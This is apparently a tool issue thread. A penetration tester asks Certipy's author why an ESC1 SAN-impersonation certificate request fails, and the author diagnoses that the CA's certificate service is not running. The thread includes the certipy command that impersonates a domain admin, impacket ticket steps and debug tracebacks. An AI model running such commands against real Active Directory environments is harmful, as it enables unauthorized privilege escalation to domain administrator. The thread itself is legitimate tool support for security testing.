Formatting question for "ESC1 - SAN Impersonation" attack

[7MinSec]

Hello!

I've got an environment where I've run the Certipy enumeration and have a template vulnerable to ESC1. I've requested a TGT for my "standard" user using GetTGT from impacket. And then I've launched Certipy as follows:

certipy 'NETBIOS-NAME-OF-DOMAIN/regularuser@VULN-CA-SERVER' -debug -dc-ip IP.OF.DOMAIN.CONTROLLER -k -no-pass req template 'VULNERABLETEMPLATE' -ca 'CA-NAME' -alt 'DOMAIN-ADMIN'

When this runs, I get:

[+] Trying to resolve 'VULN-CA-SERVER' at 'IP-OF-DC'
[+] Connecting to SMB at 'VULN-CA-SERVER' 
[+] Using Kerberos Cache: regularuser.ccache
[+] SPN CIFS/VULN-CA-SERVER.DOMAIN.COM@NETBIOS-NAME-OF-DOMAIN not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] SPN KRBTGT/NETBIOS-NAME-OF-DOMAIN@NETBIOS-NAME-OF-DOMAIN not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] No valid credentials found in cache.

This is followed by a traceback and tons of python errors. Do I have a syntax error? I'm not sure what the expected output should look like.

Thanks,
Brian

[ly4k]

Hello Brian

Can you please verify that you are using the Fully Qualified Domain Name (FQDN) in your 'target' parameter, i.e. DOMAIN.COM rather than just DOMAIN. Additionally, you can view the specific parameters to use by listing the ticket(s) in your credential cache with:

KRB5CCNAME=./regularuser.ccache klist

If your issue is not solved by this, you can use the NTLM hash or password of the account for requesting a ticket in the meantime while I look further into this issue.

Thanks for reporting this.

Oliver

[7MinSec]

Thanks so much for the quick response! I’ll be back at the test in a few hours and can troubleshoot further at that time.

[7MinSec]

Ok, so in doing the KRB5CCNAME=./regularuser.ccache klist, the output contained the Issued and Expired fields, along with a Principal field that contained:

krbtgt/DOMAIN.COM@DOMAIN.COM

Now when I rerun Certipy with the FQDN in the target parameter, the output is a little different (I've prefixed those lines with a few dashes so they stand out):

[+] Trying to resolve 'VULN-CA-SERVER' at 'IP-OF-DC'
[+] Connecting to SMB at 'VULN-CA-SERVER' 
[+] Using Kerberos Cache: regularuser.ccache
----- [+] SPN CIFS/VULN-CA-SERVER.DOMAIN.COM@DOMAIN.COM not found in cache
[+] AnySPN is True, looking for another suitable SPN
----- [+] Returning cached credential for KRBTGT/DOMAIN.COM@DOMAIN.COM
----- [+] Using TGT from cache
----- [+] Trying to connect to KDC at IP.OF.DOMAIN.CONTROLLER

Then I get a big traceback with a ton of lines. Let me know if you need those. The very last line is:

impacket.smbconnection.SessionError: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

[7MinSec]

Not sure if this is helpful or not, but when I rerun the same command and leave out the -k -no-pass the output really blows up. All I get is:

[+] Trying to resolve 'VULN-CA-SERVER' at 'IP-OF-DC'
[+] Connecting to SMB at 'VULN-CA-SERVER

And then a huge traceback that also ends in the STATUS_OBJECT_NAME_NOT_FOUND error.

[ly4k]

Alright, so your new output looks more correct. The error "STATUS_OBJECT_NAME_NOT_FOUND" means that the named pipe that Certipy tried to connect to was not found. Can you tell me more about the stack trace in regards to where in the code the error is thrown? It is most likely because the CA server you specified is not running the certificate service. By default, the certificate service creates a named pipe called "cert". You can try to use Impacket's "rpcdump" script and grep for "cert".

[7MinSec]

I did the rpcdump and there was one match for the word cert:

Provider: certprop.dll

So maybe this isn't a valid attack path?

As far as more info on the traceback, right after the [+]Trying to connect to KDC at DOMAIN.COM I get:

Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/impacket/smbconnection.py", line 556, in openFile
    return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption,
  File "/usr/local/lib/python3.9/dist-packages/impacket/smb3.py", line 1227, in create
    if ans.isValidAnswer(STATUS_SUCCESS):
  File "/usr/local/lib/python3.9/dist-packages/impacket/smb3structs.py", line 458, in isValidAnswer
    raise smb3.SessionError(self['Status'], self)
impacket.smb3.SessionError: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/bin/certipy", line 33, in <module>
    sys.exit(load_entry_point('Certipy==0.2', 'console_scripts', 'certipy')())
  File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/entry.py", line 172, in main
  File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/request.py", line 319, in request
  File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/request.py", line 232, in run
  File "/usr/local/lib/python3.9/dist-packages/Certipy-0.2-py3.9.egg/certipy/request.py", line 225, in connect
  File "/usr/local/lib/python3.9/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 803, in connect
    return self._transport.connect()
  File "/usr/local/lib/python3.9/dist-packages/impacket/dcerpc/v5/transport.py", line 518, in connect
    self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
  File "/usr/local/lib/python3.9/dist-packages/impacket/smbconnection.py", line 560, in openFile
    raise SessionError(e.get_error_code(), e.get_error_packet())
impacket.smbconnection.SessionError: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

[ly4k]

Yes, unfortunately, it seems that the certificate service is not running on your CA server. I will try to do some better error handling for this case. Thanks for your report.